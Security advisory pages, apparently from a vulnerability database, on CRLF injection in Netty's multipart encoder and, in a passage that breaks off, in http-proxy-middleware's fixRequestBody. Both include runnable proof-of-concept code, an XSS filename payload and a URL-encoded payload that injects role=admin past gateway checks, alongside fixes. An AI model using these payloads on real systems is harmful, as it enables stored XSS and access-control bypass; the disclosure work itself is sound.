| Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| CVSS 3.1 Score | 8.1 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (attacker must be able to upload files with controlled filenames) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
io.netty.handler.codec.http.multipart.HttpPostRequestEncoder— directly concatenates unvalidated filename/name intoContent-DispositionMIME headers (lines 519, 633, 674, 682, 686-688)io.netty.handler.codec.http.multipart.DiskFileUpload—setFilename()only checks null (line 78)io.netty.handler.codec.http.multipart.MemoryFileUpload—setFilename()only checks null (line 60)io.netty.handler.codec.http.multipart.MixedFileUpload—setFilename()delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
+ HttpHeaderValues.ATTACHMENT + "; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
// DiskFileUpload.java:77-79
public void setFilename(String filename) {
this.filename = ObjectUtil.checkNotNull(filename, "filename");
// NO CRLF VALIDATION
}
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- The application uses Netty's
HttpPostRequestEncoderto construct multipart HTTP requests - The filename of an uploaded file is derived from user-controlled input
- The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload(
"avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);
Wire format:
--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload
--"
content-type: image/jpeg <-- Original (now ignored by many parsers)
...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
/**
* PoC: HTTP Multipart Content-Disposition Header Injection via Filename
*
* Demonstrates that HttpPostRequestEncoder does not validate filenames
* for CRLF characters, allowing injection of arbitrary MIME headers
* into multipart form data.
*/
public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ===");
}
static void testFilenameInjection() throws Exception {
System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
System.out.println("-------------------------------------------------------");
// Create a temporary file for upload
File tempFile = File.createTempFile("test", ".txt");
tempFile.deleteOnExit();
try (FileWriter fw = new FileWriter(tempFile)) {
fw.write("test content");
}
// Malicious filename with CRLF to inject Content-Type header
String maliciousFilename =
"innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
"<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
new DefaultHttpDataFactory(false), request, true,
StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload(
"file", maliciousFilename, "application/octet-stream",
"binary", StandardCharsets.UTF_8, tempFile.length());
fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload);
encoder.finalizeRequest();
// Read the encoded multipart body
StringBuilder body = new StringBuilder();
while (!encoder.isEndOfInput()) {
HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
if (chunk != null) {
body.append(chunk.content().toString(StandardCharsets.UTF_8));
chunk.release();
}
}
encoder.cleanFiles();
String encoded = body.toString();
System.out.println("Malicious filename: " +
maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
System.out.println();
System.out.println("Encoded multipart body:");
System.out.println("---");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true");
boolean hasInjectedScript = encoded.contains("<script>");
System.out.println();
System.out.println("Injected X-Injected header: " + hasInjectedHeader);
System.out.println("Injected script tag: " + hasInjectedScript);
System.out.println("VULNERABLE: " +
((hasInjectedHeader || hasInjectedScript) ?
"YES - MIME header injection!" : "NO"));
tempFile.delete();
}
}
How to Compile and Run
# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
-Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
-Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
-Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body:
---
--88aaade41dbb9f9f\r
content-disposition: form-data; name="file"; filename="innocent.txt"\r
Content-Type: text/html\r <-- INJECTED
X-Injected: true\r <-- INJECTED
\r
<script>alert(1)</script>\r <-- INJECTED XSS
--"\r
content-length: 12\r
content-type: application/octet-stream\r
content-transfer-encoding: binary\r
\r
test content\r
--88aaade41dbb9f9f--\r
---
Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens |
| Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content |
| Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back |
| Form Field Override | Inject new multipart boundaries to create/override form fields |
| Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
ObjectUtil.checkNotNull(filename, "filename");
for (int i = 0; i < filename.length(); i++) {
char c = filename.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"filename contains prohibited CRLF character at index " + i);
}
}
this.filename = filename;
}
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n' || c == '"') {
throw new ErrorDataEncoderException(
"Multipart parameter contains prohibited character at index " + i);
}
}
return value;
}
// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field
- RFC 7578: Returning Values from Forms: multipart/form-data
- RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
- CWE-93: Improper Neutralization of CRLF Sequences
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
- GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59921"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n + HttpHeaderValues.ATTACHMENT + \"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n testFilenameInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n static void testFilenameInjection() throws Exception {\n System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n System.out.println(\"-------------------------------------------------------\");\n\n // Create a temporary file for upload\n File tempFile = File.createTempFile(\"test\", \".txt\");\n tempFile.deleteOnExit();\n try (FileWriter fw = new FileWriter(tempFile)) {\n fw.write(\"test content\");\n }\n\n // Malicious filename with CRLF to inject Content-Type header\n String maliciousFilename =\n \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n HttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n new DefaultHttpDataFactory(false), request, true,\n StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n DiskFileUpload fileUpload = new DiskFileUpload(\n \"file\", maliciousFilename, \"application/octet-stream\",\n \"binary\", StandardCharsets.UTF_8, tempFile.length());\n fileUpload.setContent(tempFile);\n\n encoder.addBodyHttpData(fileUpload);\n encoder.finalizeRequest();\n\n // Read the encoded multipart body\n StringBuilder body = new StringBuilder();\n while (!encoder.isEndOfInput()) {\n HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n if (chunk != null) {\n body.append(chunk.content().toString(StandardCharsets.UTF_8));\n chunk.release();\n }\n }\n encoder.cleanFiles();\n\n String encoded = body.toString();\n System.out.println(\"Malicious filename: \" +\n maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n System.out.println();\n System.out.println(\"Encoded multipart body:\");\n System.out.println(\"---\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"---\");\n\n boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n System.out.println();\n System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n System.out.println(\"Injected script tag: \" + hasInjectedScript);\n System.out.println(\"VULNERABLE: \" +\n ((hasInjectedHeader || hasInjectedScript) ?\n \"YES - MIME header injection!\" : \"NO\"));\n\n tempFile.delete();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n --88aaade41dbb9f9f\\r\n content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n Content-Type: text/html\\r \u003c-- INJECTED\n X-Injected: true\\r \u003c-- INJECTED\n \\r\n \u003cscript\u003ealert(1)\u003c/script\u003e\\r \u003c-- INJECTED XSS\n --\"\\r\n content-length: 12\\r\n content-type: application/octet-stream\\r\n content-transfer-encoding: binary\\r\n \\r\n test content\\r\n --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n ObjectUtil.checkNotNull(filename, \"filename\");\n for (int i = 0; i \u003c filename.length(); i++) {\n char c = filename.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"filename contains prohibited CRLF character at index \" + i);\n }\n }\n this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n for (int i = 0; i \u003c value.length(); i++) {\n char c = value.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027\"\u0027) {\n throw new ErrorDataEncoderException(\n \"Multipart parameter contains prohibited character at index \" + i);\n }\n }\n return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8\u0027\u0027encoded%20filename\nString encodedFilename = \"UTF-8\u0027\u0027\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-gcjf-9mgh-3p7g",
"modified": "2026-07-22T21:52:55Z",
"published": "2026-07-22T21:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
GHSA-GCQ2-9PQ2-CXQM
Vulnerability from github – Published: 2026-06-18 13:06 – Updated: 2026-06-18 13:06Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
- Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a filename="..." part into the upstream multipart stream.
Proof of Concept
// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
